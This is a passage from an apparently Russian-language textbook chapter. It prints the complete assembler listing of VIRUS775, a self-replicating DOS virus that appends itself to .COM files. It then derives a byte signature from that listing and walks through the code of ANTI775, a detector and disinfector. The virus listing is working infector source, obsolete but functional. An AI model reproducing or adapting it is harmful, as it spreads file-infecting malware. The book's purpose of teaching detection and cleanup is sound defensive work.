Microsoft (R) Macro Assembler Version 5.00 6/24/91 21:21:14 1 .8086 2 PAGE ,132 3 ;****************************************************** 4 ; VIRUS775.ASM emulates virus activity for .COM files 5 ;****************************************************** 6 0000 CSEG segment 7 assume cs:cseg,ds:cseg,es:cseg 8 0100 org 100h 9 0100 START: 10 0100 E9 db 0E9h 11 0101 0015 dw 15h ; Near jump to RESTORE_3_BYTES 12 0103 FFFF ID dw 0FFFFh 13 14 0110 org 110h 15 16 0110 VIRUS: 17 0110 1E push ds 18 0111 8C C8 mov ax,cs 19 0113 05 db 00000101b ; Add ax,imed 20 0114 FFFF NEW_DS dw 0FFFFh ; 0FFFFh should be replaced 21 0116 8E D8 mov ds,ax ; Define new ds segment 22 23 0118 RESTORE_3_BYTES: 24 0118 A0 02DB R mov al,BYTES_3[0] ; Restore first 3 bytes 25 011B 2E: A2 0100 mov byte ptr cs:[100h],al 26 011F A0 02DC R mov al,BYTES_3[1] 27 0122 2E: A2 0101 mov byte ptr cs:[101h],al 28 0126 A0 02DD R mov al,BYTES_3[2] 29 0129 2E: A2 0102 mov byte ptr cs:[102h],al 30 31 012D STORE_DTA: 32 012D B9 0100 mov cx,100h 33 0130 BB 0000 mov bx,0 34 0133 DTA_S: 35 0133 2E: 8A 07 mov al,byte ptr cs:[bx] 36 0136 88 87 02DF R mov byte ptr DTA[bx],al 37 013A 43 inc bx 38 013B E2 F6 loop DTA_S 39 40 013D FIND_FIRST: 41 013D 8D 16 02BF R lea dx,FMASK 42 0141 B9 0020 mov cx,00100000b ; arc,dir,vol,sys,hid,r/o 43 0144 B4 4E mov ah,4Eh 44 0146 CD 21 int 21h ; Find first .COM file 45 0148 73 1A jnc STORE_FNAME 46 014A E9 0288 R jmp ERR 47 48 014D FIND_NEXT: 49 014D 8B 1E 02D6 R mov bx,HANDLE 50 0151 B4 3E mov ah,3Eh 51 0153 CD 21 int 21h ; Close previous file 52 0155 C7 06 02D6 R FFFF mov HANDLE,0FFFFh 53 54 015B B4 4F mov ah,4Fh 55 015D CD 21 int 21h 56 015F 73 03 jnc STORE_FNAME 57 0161 E9 0288 R jmp ERR 58 59 0164 STORE_FNAME: 60 0164 2E: 80 3E 0095 01 cmp byte ptr cs:[95h],00000001b ; Test r/o attribute 61 016A 74 E1 je FIND_NEXT ; if r/o is set, do not infect 62 016C BB 0000 mov bx,0 63 64 016F NEXT_SYM: 65 016F 2E: 8A 87 009E mov al,byte ptr cs:[bx+9Eh] 66 0174 88 87 02C5 R mov FNAME[bx],al 67 0178 2E: 80 BF 009E 00 cmp byte ptr cs:[bx+9Eh],0 68 017E 74 09 je SET_ATTRIB 69 0180 43 inc bx 70 0181 83 FB 0D cmp bx,13 71 0184 7E E9 jng NEXT_SYM 72 0186 E9 0288 R jmp ERR 73 74 0189 SET_ATTRIB: 75 0189 8D 16 02C5 R lea dx,FNAME 76 018D B9 0020 mov cx,00100000b ; arc,dir,vol,sys,hid,r/o 77 0190 B8 4301 mov ax,4301h 78 0193 CD 21 int 21h ; Set file attributes 79 0195 73 03 jnc READ_HANDLE 80 0197 E9 0288 R jmp ERR 81 82 019A READ_HANDLE: 83 019A 8D 16 02C5 R lea dx,FNAME 84 019E B8 3D02 mov ax,3D02h ; Read/write mode 85 01A1 CD 21 int 21h ; Open a file 86 01A3 73 03 jnc READ_3_BYTES 87 01A5 E9 0288 R jmp ERR 88 89 01A8 READ_3_BYTES: 90 01A8 A3 02D6 R mov HANDLE,ax ; Store handle from ax 91 01AB 8D 16 02DB R lea dx,BYTES_3 92 01AF 8B 1E 02D6 R mov bx,HANDLE 93 01B3 B9 0003 mov cx,3 ; Number of bytes to read 94 95 01B6 B4 3F mov ah,3Fh 96 01B8 CD 21 int 21h ; Read and store first 3 bytes 97 01BA 73 03 jnc READ_FLEN 98 01BC E9 0288 R jmp ERR 99 100 01BF READ_FLEN: 101 01BF B9 0000 mov cx,0 102 01C2 BA 0000 mov dx,0 ; NULL seek position in cx:dx 103 01C5 8B 1E 02D6 R mov bx,HANDLE 104 01C9 B0 02 mov al,2 ; Relative to EOF 105 01CB B4 42 mov ah,42h ; Get program length in dx:ax 106 01CD CD 21 int 21h 107 01CF 73 03 jnc CHECK_ID 108 01D1 E9 0288 R jmp ERR 109 110 01D4 CHECK_ID: 111 01D4 A3 02D2 R mov FLENOLD,ax ; Store length of file 112 113 01D7 A9 000F test ax,00001111b 114 01DA 74 04 jz JUST 115 01DC 0D 000F or ax,00001111b 116 01DF 40 inc ax 117 118 01E0 JUST: 119 01E0 A3 02D4 R mov FLEN,ax ; Store corrected length of file 120 121 01E3 3D FBF4 cmp ax,64500 122 01E6 76 03 jna CALC_DS 123 01E8 E9 014D R jmp FIND_NEXT 124 125 01EB CALC_DS: 126 01EB B1 04 mov cl,4 127 01ED D3 E8 shr ax,cl ; Calculate new ds segment difference 128 01EF 48 dec ax 129 01F0 A2 0114 R mov byte ptr NEW_DS[0],al 130 01F3 88 26 0115 R mov byte ptr NEW_DS[1],ah ; Store new ds segment 131 132 01F7 B9 0000 mov cx,0 133 01FA 8B 16 02D2 R mov dx,FLENOLD 134 01FE 4A dec dx 135 01FF 8B 1E 02D6 R mov bx,HANDLE 136 0203 B0 00 mov al,0 ; Relative to EOF 137 0205 B4 42 mov ah,42h 138 0207 CD 21 int 21h ; Set seek to last byte of file 139 0209 73 03 jnc READ_ID 140 020B EB 7B 90 jmp ERR 141 142 020E READ_ID: 143 020E 8D 16 02DE R lea dx,BYTES_3[3] 144 0212 8B 1E 02D6 R mov bx,HANDLE 145 0216 B9 0001 mov cx,1 146 0219 B4 3F mov ah,3Fh 147 021B CD 21 int 21h ; Read last byte to BYTES_3[3] (ID='$') 148 021D 73 03 jnc TEST_ID 149 021F E9 014D R jmp FIND_NEXT 150 151 0222 TEST_ID: 152 0222 80 3E 02DE R 24 cmp BYTES_3[3],'$' 153 0227 75 03 jne NOT_INFECTED 154 0229 E9 014D R jmp FIND_NEXT ; Check if file is infected 155 156 022C NOT_INFECTED: 157 022C A1 02D4 R mov ax,FLEN ; Calculate JMP address 158 022F 2D 0003 sub ax,03h 159 0232 A2 02D9 R mov JMP_L,al 160 0235 88 26 02DA R mov JMP_H,ah ; Store new JMP address 161 162 0239 B9 0000 mov cx,0 163 023C 8B 16 02D4 R mov dx,FLEN 164 0240 8B 1E 02D6 R mov bx,HANDLE 165 0244 B8 4200 mov ax,4200h ; Set seek to corrected end of file 166 0247 CD 21 int 21h 167 0249 72 3D jc ERR 168 169 024B 8D 16 0110 R lea dx,VIRUS 170 024F B9 02F7 90 mov cx,VIRLEN 171 0253 8B 1E 02D6 R mov bx,HANDLE 172 0257 B4 40 mov ah,40h 173 0259 CD 21 int 21h ; Write virus to file 174 025B 72 2B jc ERR 175 176 025D WRITE_JMP: 177 025D B9 0000 mov cx,0 178 0260 BA 0000 mov dx,0 179 0263 8B 1E 02D6 R mov bx,HANDLE 180 0267 B0 00 mov al,0 ; Relative to file start 181 0269 B4 42 mov ah,42h 182 026B CD 21 int 21h ; Set seek to 0 183 026D 72 19 jc ERR 184 185 026F 8D 16 02D8 R lea dx,JMPVIR 186 0273 B9 0003 mov cx,3 187 0276 8B 1E 02D6 R mov bx,HANDLE 188 027A B4 40 mov ah,40h 189 027C CD 21 int 21h ; Write new JMP to file 190 027E 72 08 jc ERR 191 192 0280 PRINT_MSG: 193 0280 8D 16 03E0 R lea dx,MSG 194 0284 B4 09 mov ah,09h 195 0286 CD 21 int 21h ; Print a message 196 197 0288 ERR: 198 0288 83 3E 02D6 R FF cmp HANDLE,0FFFFh 199 028D 74 08 je EXIT 200 201 028F CLOSE_FILE: 202 028F 8B 1E 02D6 R mov bx,HANDLE 203 0293 B4 3E mov ah,3Eh 204 0295 CD 21 int 21h ; Close file 205 206 0297 EXIT: 207 0297 2E: 83 3E 0103 R FF cmp cs:[ID],0FFFFh 208 029D 74 1B je GOTO_DOS 209 210 029F RESTORE_DTA: 211 029F B9 0100 mov cx,100h 212 02A2 BB 0000 mov bx,0 213 214 02A5 DTA_R: 215 02A5 8A 87 02DF R mov al,byte ptr DTA[bx] 216 02A9 2E: 88 07 mov byte ptr cs:[bx],al 217 02AC 43 inc bx 218 02AD E2 F6 loop DTA_R 219 220 02AF GOTO_START: 221 02AF 8C C8 mov ax,cs 222 02B1 A3 02B8 R mov ds:[START_S],ax 223 02B4 1F pop ds 224 02B5 EA db 0EAh ; Far jmp to START 225 02B6 0100 dw 0100h ; START offset 226 02B8 0000 START_S dw (?) ; START segment 227 228 02BA GOTO_DOS: 229 02BA BB 4C00 mov bx,4C00h 230 02BD CD 21 int 21h 231 232 02BF 2A 2E 43 4F 4D 00 FMASK db '*.COM',0h 233 02C5 000C[ FNAME db 12 dup (?),0h 234 ?? 235 ] 236 00 237 02D2 0000 FLENOLD dw (?) ; Length of file 238 02D4 0000 FLEN dw (?) ; Corrected length of file 239 02D6 FFFF HANDLE dw 0FFFFh ; File handle number 240 02D8 E9 JMPVIR db 0E9h ; JMP code 241 02D9 00 JMP_L db (?) 242 02DA 00 JMP_H db (?) ; 3 bytes for virus JMP 243 02DB 0003[ BYTES_3 db 3 dup (?) ; Original 3 bytes 244 ?? 245 ] 246 247 02DE 00 db (?) 248 02DF 0101[ DTA db 101h dup (?) 249 ?? 250 ] 251 252 03E0 0A 0D 48 61 6C 6C 6F MSG db 0Ah,0Dh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$' 253 21 20 49 20 68 61 76 254 65 20 67 6F 74 20 61 255 20 76 69 72 75 73 20 256 66 6F 72 20 79 6F 75 257 21 0A 0D 24 258 = 02F7 VIRLEN equ $-VIRUS 259 260 0407 CSEG ends 261 end START
В принципе при выборе сигнатуры существует большая свобода, ограниченна лишь перечисленными выше условиями. Нас заинтересовали в листинге вируса строки с номерами 149-154.
149 021F E9 014D R jmp FIND_NEXT 150 151 0222 TEST_ID: 152 0222 80 3E 02DE R 24 cmp BYTES_3[3],'$' 153 0227 75 03 jne NOT_INFECTED 154 0229 E9 014D R jmp FIND_NEXT ; Check if file is infected
Если развернуть эти строки листинга в цепочку кодов, то получится следующая последовательность шестнадцатеричных чисел:
Е9 21 FF 80 3E DE 02 24 75 03 Е9 21 FF
Правда, в листинге Вы не найдете двух повторяющихся пар чисел 21 FF, следующих за кодом команды короткого перехода E9. Однако эти числа легко получить одним из двух изложенных ниже способов.
Мы решили в качестве сигнатуры воспользоваться лишь последними одиннадцатью байтами, а именно строкой:
FF 80 3E DE 02 24 75 03 Е9 21 FF
Длина этой строки вполне достаточна, чтобы ее можно было использовать в качестве сигнатуры нашего вируса, а ее уникальность мы дополнительно проверим, когда наш антивирус будет готов.
Основные принципы действия файлового антивируса были изложены в главе 1. Мы лишь напомним, что наш антивирус должен:
Наша задача упрощается двумя обстоятельствами. Первое, наш антивирус, как и вирус, учебный. Поэтому нам не нужно осуществлять громоздкий алгоритм поиска зараженных файлов по всему диску (желающие могут внести это усовершенствование самостоятельно). И второе, наш вирус хранит в своей области данных первоначальную длину программы-жертвы до ее заражения. Поэтому мы имеем возможность восстанавливать зараженную программу в идеальных условиях - т.е. один к одному!
Область данных нашей антивирусной программы (детектора и фага) будет сильно напоминать область данных вируса, поскольку мы воспользуемся многими из готовых алгоритмов, использованными при создании вируса (например, блоками доступа к файлам). Кроме того, мы будем использовать многие из тех данных, которые использует в своей работе вирус, а для наглядности сохраним по возможности и названия меток.
MODE db 0 ; 0 - find, 1 - find & cure FILES db 0 ; Number of infected files SIG db 0FFh,080h,03Eh,0DEh,002h,024h,075h,003h,0E9h,021h db 0 ; Virus signature (last byte) SIGL equ $-SIG ; Length of SIG string SIGO dw (?) ; Offset of SIG in file SIGO3 dw 0BAh ; Offset of old 3 bytes relative to SIG SIGFL dw 0B1h ; Offset of old file length relative to SIG FMASK db '*.COM',0h ; File name mask FLEN dw (?) ; Current length af tested file FLENOLD dw (?) ; Old length of file to be cured HANDLE dw 0FFFFh ; File handle number ATTRIB db (?) ; File attribute FSEG dw (?) ; Segment to store file LBL db '$' ; Security label CSEG ends end START
Хорошим тоном (и безопасным методом) считается использование по умолчанию алгоритма поиска зараженных файлов, который осуществляется при запуске антивируса без параметров. Это предохраняет пользователя от непреднамеренной "обработки" антивирусом тех файлов, для которых еще не созданы запасные копии на случай неудачного лечения или ложного срабатывания детектора при поиске сигнатуры.
Поэтому наш антивирус должен работать в двух режимах: поиск и выявление файлов, содержащих сигнатуру вируса (по умолчанию) и "лечение" зараженных файлов (при запуске антивируса, например, с параметром "/q" (от слова qure - лечить). Для распознаиания режима мы введем переменную по имени MODE:
MODE db 0 ; 0 - find, 1 - find & cure
Поскольку наш антивирус ведет подсчет зараженным файлам, нам необходимо также отвести переменную, которую он будет использовать в качестве счетчика. Назовем ее FILES:
FILES db 0 ; Number of infected files
Очевидно, что наш антивирус должен также как-то хранить и сигнатуру вируса для того, чтобы было с чем сравнивать коды просматриваемых файлов. Однако, для того, чтобы наш антивирус не "сработал" сам от себя, мы просто-напросто заменим последний байт сигнатуры (FF) на ноль (00):
SIG db 0FFh,080h,03Eh,0DEh,002h,024h,075h,003h,0E9h,021h db 0 ; Virus signature (last byte)
Восстанавливать же этот последний байт мы будем в памяти сразу же после запуска антивируса.
Для использования в качестве граничной переменной в счетчиках цикла нам понадобится длина сигнатуры (в байтах). Для того, чтобы не изменять общности, сформируем это число в виде разности начального и конечного адреса сигнатуры плюс единица:
SIGL equ $-SIG ; Length of SIG string
Сразу же отметим, что эта величина является константой для данной программы и не занимает места области данных.
Заранее никогда неизвестно, где в зараженном файле расположена сигнатура вируса, а также все остальные данные: сохраненные три байта, длина программы-жертвы и т.п. Даже вести счет от "хвоста" файла мы не имеем права, т.к. за нашим вирусом может "сесть" другой вирус. Поэтому мы должны ввести точку отсчета, относительно которой антивирус будет рассчитывать адреса всех остальных частей вируса. В качестве такой точки отсчета выберем первый байт сигнатуры, а для привязки к этой точке отсчета нам необходимо хранить смещения всех необходимых нам данных (вируса) относительно смещения первого байта сигнатуры. Кроме того, мы должны предусмотреть место для хранения смещения первого байта сигнатуры в зараженном файле, чтобы использовать это смещение в качестве точки отсчета.
SIGO dw (?) ; Offset of SIG in file SIGO3 dw 0BAh ; Offset of old 3 bytes relative to SIG SIGFL dw 0B1h ; Offset of old file length relative to SIG
Таким образом, выделим в области данных антивируса следующие три слова: SIGO - адрес (смещение) первого байта сигнатуры в зараженном файле; SIGO3 - смещение первого из трех сохраненных (первых) байт зараженного файла относительно адреса первого байта сигнатуры; SIGFL - смещение слова, в котором хранится прежняя длина зараженного файла, относительно адреса первого байта сигнатуры.
FMASK db '*.COM',0h ; File name mask
FMASK - имеет тот же смысл, что и в программе вируса: маска имен файлов (т.е. шаблон поиска). Для проверки файлов с любыми расширениям достаточно заменить в маске расширение "COM" на звездочку: "*".
FLEN dw (?) ; Current length af tested file
FLEN - текущая длина тестируемого файла. Эта величина необходима антивирусу при выборе алгоритма считывания файла.
FLENOLD dw (?) ; Old length of file to be cured
FLENOLD - Прежняя длина зараженного файла. Эту величину антивирус извлечет, пользуясь набором смещений, описанных в предыдущих абзацах.
HANDLE dw 0FFFFh ; File handle number
HANDLE - логический номер (handle) файла. С этой величиной мы уже знакомы из опыта написания вируса.
ATTRIB db (?) ; File attribute
ATTRIB - здесь антивирус может хранить исходный байт атрибутов файла для того, чтобы после лечения (или просмотра) восстанавливать этот атрибут.
FSEG dw (?) ; Segment to store file
FSEG - сегментный адрес области, которую антивирус запрашивает у DOS для хранения тестируемого файла.
LBL db '$' ; Security label
И, наконец, последний байт - код "$" (доллар), метка LBL - наглядная иллюстрация того, как программа-антивирус может защитить сама себя от вируса методом вакцинации. Этот прием мы обсуждали в главе 2 при рассмотрении того, как наш вирус избегает повторного заражения программ.
Как мы условились ранее, сразу же после запуска наш антивирус формирует в памяти сигнатуру вируса, для которой ему не хватает одного последнего байта.
START: mov SIG[10],0FFh ; Completes SIG string
Затем антивирус "выясняет", в каком из двух возможных режимов - поиска вируса или "лечения" зараженных файлов - он должен работать. Мы решили, что по умолчанию антивирус лишь ищет зараженные файлы. Если же в командной строке появляется параметр /q или просто буква q, антивирус переходит в режим "лечения".
Перед передачей управления запускаемой программе, DOS формирует PSP (Program Segment Prefix) по нулевому смещению в памяти ЭВМ. PSP занимает 100h байт и включает в себя DTA (Data Transfer Area). Структура DTA хорошо известна, в частности, по смещению 80h располагается длина области UPA (Unformatted Parameter Area), в которой начиная со смещения 81h хранятся параметры командной строки (исключая директивы переназначения). Если длина UPA нулевая (т.е. байт по адресу 80h равен нулю), значит, командная строка - пустая, и следовательно, антивирус сохраняет режим по умолчанию (поиск сигнатуры). Если же этот байт ненулевой, необходимо проверить, не содержится ли среди параметров буква q.
READ_PARAM: cmp byte ptr cs:[80h],0 je FIND_MODE ; If no parameters, "find" mode mov ax,ds mov es,ax cld mov al,'q' ; 'q' - "find & cure mode" (MODE=1) mov ch,0 mov cl,cs:[80h] ; Length of UPA (from PSP) mov di,81h ; Offset of UPA (from PSP) repne scasb je CURE_MODE FIND_MODE: mov MODE,0 jmp ALLOC_MEM CURE_MODE: mov MODE,1
Если буква 'q' найдена, то по адресу MODE заносится число 1 (режим "лечения"), в противном случае там хранится ноль, обозначающий режим по умолчанию (только поиск).
При запуске .COM-программы DOS выделяет ей всю доступную память, поэтому, грамотно написанная .COM-программа (особенно резидентная) должна уменьшить количество выделенной ей памяти до необходимого объема. Кроме того, если .COM-программа использует несколько сегментов памяти, она должна знать адреса свободных сегментов, чтобы не нарушить блочную структуру памяти.
ALLOC_MEM: mov ax,ds mov es,ax mov bx,1100h ; Reallocate 68 К bytes mov ah,4Ah int 21h jnc ALLOCATED NOT_ALLOCATED: lea dx,NO_MEM mov ah,09h int 21h ; Print a message jmp TO_DOS NO_MEM db 10,13,'Insufficient memory to run ANTI775',10,13,'$' ALLOCATED: lea ax,LBL mov cl,4 shr ax,cl inc ax mov bx,ds add ax,bx mov FSEG,ax ; Segment of program in memory
Поскольку наш вирус не заражает программы, длина которых больше 64 К байт, мы должны выделить соответствующее количество памяти. Пусть это будет, например, 68 К байт. В случае, если вызванная функция DOS (4A) возвратит ошибку (флаг переноса CF взведен), наш антивирус выдаст сообщение о недостаточном объеме свободной памяти и завершит работу. В выделенную память антивирус будет считывать тестируемую программу (или ее часть - первые 64 К байт).
Мы будем проверять на наличие вируса даже большие (длиннее 64 К байт) программы, хотя вирус следит за тем, чтобы длина зараженной программы не превышала этой величины. Тем не менее, есть вирусы, которые этого не делают, и тогда .COM-программа может разрастись до размеров, превышающих размер сегмента (64 К байт). Мы предусмотрим случай, когда за нашим вирусом может "сесть" один или несколько других, в том числе и таких, которые "убивают" .COM-программу тем, что ее новая длина (вместе с вирусом) превышает 64 К байт. Наш антивирус будет "лечить" и такие программы! Он будет вместе с нашим вирусом "выкусывать" и те вирусы, которые "сели" после него. Конечно, наш антивирус не сможет лечить от вирусов, "севших" раньше него, но и то, что он сможет - большой плюс.
Кстати, данный принцип ("выкусывание" вирусов, находящихся после данного вируса) сможет применяться и для интеллектуальной вакцинации, т.е. для создания "самовылечивающихся" или самотестирующихся программ. В этом случае программу "заражают" не вирусом, а программой-вакциной, которая выполняет функции антивируса и "выкусывает" любые вирусы, пристраивающиеся к ней в "хвост"...
После этого лирического отступлении напомним, что сегментный адрес выделенной области памяти мы сохранили в слове по адресу FSEG.
Алгоритм поиска файлов, соответствующих шаблону подробно описан во второй главе, и мы лишь обратим Ваше внимание на то, что антивирус, в отличие от нашего вируса, просматривает все .COM-файлы в текущем каталоге, включая файлы с атрибутами read-only, hidden и system.
Следующий блок программы-антивируса выполняет такие действия: находит .COM-файл, соответствующий шаблону, обрабатывает и сохраняет его имя, устанавливает атрибуты, открывает файл в режиме чтения-записи, считывает и сохраняет логический номер файла (handle).
FIND_FIRST: lea dx,FMASK ; Mask of file name mov cx,00100111b ; arc,dir,voL,sys,hid,r/o mov ah,4Eh int 21h jnc STORE_FNAME jmp EXIT FIND_NEXT: mov bx,HANDLE mov ah,3Eh int 21h ; Close previous file mov HANDLE,0FFFFh ; Note that file was closed mov ah,4Fh int 21h ; Find next file jnc STORE_FNAME jmp EXIT STORE_FNAME: mov bx,0 NEXT_SYM: mov al,byte ptr cs:[bx+9Eh] mov FNAME[bx],al cmp byte ptr cs:[bx+9Eh],0 je SET_ATTRIB inc bx cmp bx,13 jng NEXT_SYM jmp ERR SET_ATTRIB: lea dx,FNAME mov cx,00100000b ; arc,dir,vol,sys,hid,r/o mov ax,4301h int 21h ; Set file attributes jnc READ_HANDLE jmp ERR READ_HANDLE: lea dx,FNAME mov ax,3D02h ; Read/wite mode int 21h ; Open a file (handle is in ax) jnc READ_FLEN jmp ERR
Наш антивирус (поскольку он учебный) в целях экономии Вашего времени не делает некоторых вещей, которые стандартные антивирусы делают. Например, он перед закрытием файла не восстанавливает его атрибуты. Однако Вы сами легко можете дописать несколько команд, которые будут выполнять эту, в общем-то важную, функцию (в нашем антивирусе даже выделен для этой цели в области данных байт с именем ATTRIB).
Обычно длинные файлы считывают и просматривают по частям. Однако, поскольку мы не собираемся считывать более 64 К байт даже самого длинного файла, будем считывать файлы в память целиком (для упрощения алгоритма и ускорения процедуры поиска сигнатуры вируса). Тем не менее, покажем, как можно считывать длинный файл, например, в два приема по 32 К байт. Сначала выясним длину тестируемого файла.
READ_FLEN: mov HANDLE,ax ; Store handle number mov cx,0 mov dx,0 ; NULL seek position in cx:dx mov bx,HANDLE mov ax,4202h ; Get program length in dx:ax int 21h mov FLEN,ax cmp dx,0 je SET_FSTART mov FLEN,0FFFEh
Если длина файла превышает 64 К байт, занесем по адресу FLEN число 0FFFFh, которое отражает тот факт, что мы не собираемся считывать файл длиннее 0FFFFh байт. Далее, если длина файла не превышает 32 К байт, считаем его в один прием, а если превышает - то в два.
SET_FSTART: mov bx,HANDLE mov cx,0 mov dx,0 mov ax,4200h int 21h ; Set seek pointer to start of file READ_FILE: mov bx,HANDLE mov cx,FLEN mov dx,0 cmp FLEN,8001h ; If length of file < 32769, jb READ_REST ; Read file in one step mov cx,8000h push ds mov dx,0 mov ax,FSEG mov ds,ax mov ah,3Fh int 21h ; Read 32768 bytes from file to buffer pop ds mov cx,FLEN mov dx,8000h sub cx,8000h ; Prepare to read the rest of the file READ_REST: mov bx,HANDLE ; bx = HANDLE push ds mov ax,FSEG mov ds,ax ; ds:dx - buffer address mov ah,3Fh int 21h ; Read and store entire file pop ds jne CHECK_SIG jmp ERR
Отметим некоторые особенности считывания файла в сегмент, отличный от текущего сегмента кода и данных нашего антивируса. Для того, чтобы считать файл в другой сегмент, сохраним в стеке текущее содержимое регистра ds (push ds), а затем поместим в этот регистр величину, полученную при запросе памяти у операционной системы и хранящуюся в слове по адресу FSEG. После считывания файла восстановим прежнее значение регистра ds (pop ds).
Как мы уже выяснили, знак '$' в конце файла не является сколько-нибудь надежным указателем на возможное присутствие нашего вируса в файле, поэтому сразу приступим к поиску сигнатуры. Для поиска сигнатуры вируса в файле, который уже считан в память, выберем следующий алгоритм. Сначала будем искать в тестируемом файле код 0FFh, который соответствует первому байту сигнатуры, а затем будем проверять следующие за этим кодом девять байт на соответствие остальным кодам сигнатуры вируса. Для поиска в другом сегменте, отличном от сегмента кода и данных антивируса, будем использовать регистр расширенного сегмента данных - es.
CHECK_SIG: mov ax,FSEG mov es,ax mov di,0 ; es:di - address of COM. file cld mov cx,FLEN sub cx,SIGL mov al,0FFh ; al = FF (hexadecimal) NEXT_FF: repne scasb je FOUND_FF NO_FF: jmp FIND_NEXT FOUND_FF: push cx ; Store counter for next 0FFh search push di ; Store di for next 0FFh search dec di ; es:di - address of 0FFh found mov SIGO,di ; Store offset of 0FFh found lea si,SIG ; ds:si - address of SIG string mov cx,SIGL ; cx - Length of SIG string repe cmpsb ; Compare SIG with string in file je FOUND_SIG pop di ; Restore di for next 0FFh dearch pop cx ; Restore counter for next OFFh search jmp NEXT_FF FOUND_SIG: inc FILES ; Count infected files lea dx,WARNING mov ah,09h int 21h ; Print warning message
Если сигнатура вируса найдена в тестируемом файле, антивирус выводит соответствующее сообщение и увеличивает счетчик зараженных файлов (метка FILES) на единицу. Заметим, что имя зараженного (тестируемого) файла мы храним не в конце программы-антивируса, где располагается его область данных, а в середине строки сообщения - для упрощения программирования. В этом случае без обработки строки, содержащей имя файла можно целиком вывести предупреждающее сообщение на экран. Однако в этом случае сообщения, включающие имена файлов, содержащие знак доллара '$', будут выводиться неправильно (т.к. знак доллара является признаком конца строки-сообщения для функции DOS 09h). Однако мы сознательно идем на такое упрощение, чтобы не запутывать читателя сложностями ввода-вывода на ассемблере. Чтобы правильно выводить имена файлов, не содержащих знак '$', необходимо каждый раз перед помещением в строку FNAME имени нового файла, предварительно заполнить ее (12 байт) пробелами, иначе в этой строке могут находиться "остатки" имен файлов, прочитанных ранее.
BLANK: mov cx,12 ; Width of file name field mov bx,0 REP32: mov FNAME[bx],32 inc bx loop REP32 ; Fill field with spaces cmp MODE,1 ; Was there 'q' in command line? je CURE jmp FIND_NEXT ; Do not cure! WARNING db 10,13,'File ' FNAME db 12 dup (32),0 ; File name ASCIIZ string db ' is infected by the 775 virus',10,13,'$'
Итак, теперь, когда файл считан в память, в нем найдена сигнатура вируса и выдано сообщение о том, что файл с таким-то именем заражен, можно приступить к его лечению. Разумеется, антивирус предварительно проверит, дано ли ему такое задание (т.е. был ли задан в, командной строке параметр типа /q. Если да, то байт с именем MODE содержит единицу - и можно приступать к самому ответственному шагу, который начинается с метки CURE.
Прежде всего, отметим, что смещение первого байта сигнатуры вируса в тестируемом файле было сохранено по адресу SIGO. Таким образом, для того чтобы определить смещение, по которому хранятся прежние первые три байта нашего "пациента", достаточно прибавить к числу SIGO число SIGO3 (смещение первого из трех восстанавливаемых байт относительно адреса первого байта сигнатуры).
CURE: mov bx,SIGO ; SIGO - offset of virus signature add bx,SIGO3 ; SIGO3 - 3 bytes relative to SIG mov al,byte ptr es:[bx] ; es:bx - address of original 3 bytes mov byte ptr es:[0],al mov al,byte ptr es:[bx+1] mov byte ptr es:[1],al mov al,byte ptr es:[bx+2] mov byte ptr es:[2],al ; Three bytes were restored mov bx,SIGFL add bx,SIGO mov ax,word ptr es:[bx] ; Store old Length of file to be cured mov FLENOLD,ax
Аналогичным образом вычисляется смещение, по которому хранится прежняя длина файла, который мы "лечим": к числу SIGFL (смещение слова, в котором хранится длина файла, относительно первого байта сигнатуры) прибавляем число SIGO (смещение первого байта сигнатуры вируса в файле).
Простая, казалось бы операция - запись вылеченного файла на диск - на самом деле требует несколько более подробного рассмотрения. И вот почему. В нашем случае нам "повезло": вирус хранил прежнюю длину файла-жертвы в своей области данных. Поэтому для того чтобы определить, какую часть вылеченного файла записывать на диск, достаточно было прочитать эту величину из того места файла-жертвы, которое определяется после весьма нехитрых расчетов (см. выше). Как же быть, если вирус не хранит и, следовательно, не передает вместе с собой в заражаемый файл информацию о его прежней длине? Ответ не столь сложен. В этом случае достаточно воспользоваться информацией о смещении первого байта сигнатуры относительно начала вируса (эта величина легко определяется с помощью любого отладчика), а затем "обрезать" обрабатываемый файл точно по началу кода вируса. К сожалению, в этом случае файл, зараженный вирусом, который перед дозаписью своего кода в "хвост" файла производит выравнивание адресов по границе параграфа (как наш вирус), будет иметь небольшой "хвостик", состоящий из мусора, оставленного вирусом (не более 15 байт).
SAVE_FILE: mov cx,0 mov dx,0 ; dx:cx - position of seek pointer (0) mov bx,HANDLE mov ax,4200h int 21h ; Set seek pointer to start of file mov cx,FLENOLD mov bx,HANDLE push ds mov ax,FSEG mov ds,ax mov dx,0 ; ds:dx - address of file in memory mov ah,40h int 21h ; Write cured file to disk CUT_FILE: mov cx,0 mov ah,40h int 21h ; Cut file to new length pop ds lea dx,CURED mov ah,09h int 21h ; Print "Cured" message jmp FIND_NEXT CURED db 'File was successfuly cured...',10,13,'$'
После записи вылеченного файла на диск антивирус выдает соответствующее сообщение и, если в текущем каталоге имеются другие файлы, соответствующие шаблону, продолжает свою работу.
Итак, хирургическая операция по восстановлению зараженного файла завершена: восстановлены первые три байта файла, отрезан "хвост", в котором притаился вирус...
Теперь достаточно привести блок, который берет на себя обработку ошибок DOS (громко сказано, поскольку наш антивирус вместо обработки ошибок просто завершает работу) - и наш труд почти завершен.
ERR: lea dx,NOMORE mov ah,09h int 21h mov al,2 ; Return code 2 (Error, no files found) jmp TO_DOS NOMORE db 10,13,'Can not find infected .COM files...',10,13,'$' EXIT: cmp FILES,0 je NOFILES FNUM_OUT: mov al,FILES add al,30h mov ah,0Eh int 10h ; Print number of files (0-9) lea dx,MSGC cmp MODE,1 ; If MODE=1, mode is "cure" je MSGCF lea dx,MSGF MSGCF: mov ah,09h int 21h ; Print 'File(s) cured' message mov al,1 ; Return code 1 (found infected files) jmp TO_DOS MSGC db ' File(s) cured',10,13,'$' MSGF db ' Filets) infected',10,13,'S' NOFILES: lea dx,GOODBY mov ah,09h int 21h mov al,0 ; Return code 0 (Ho files infected) jmp TO_DOS GOODBY db 10,13,'No infected files found...',10,13,'$' TO_DOS: cmp HANDLE,0FFFFh je TERMINATE CLOSE_FILE: mov bx,HANDLE mov ah,3Eh int 21h TERMINATE: ; Free allocated memory mov ah,4Ch int 21h ; Terminate program (al - return code)
Приведенный выше блок, помимо обработки ошибок, выполняет также следующие функции:
Теперь мы можем привести полный текст написанной нами программы, антивируса и фага. Кроме того, настало время сказать, почему наш вирус называется VIRUS775, а антивирус - соответственно ANTI775. Дело в том, что мы, в отступление от общепринятой практики, когда вирусу присваивают код, равный минимальному приращению длины заражаемого файла, решили назвать его в соответствии с длиной кода запускающей вирус программы. А исполняемый код этой программы занимает как раз 775 байт. Вот и весь секрет.
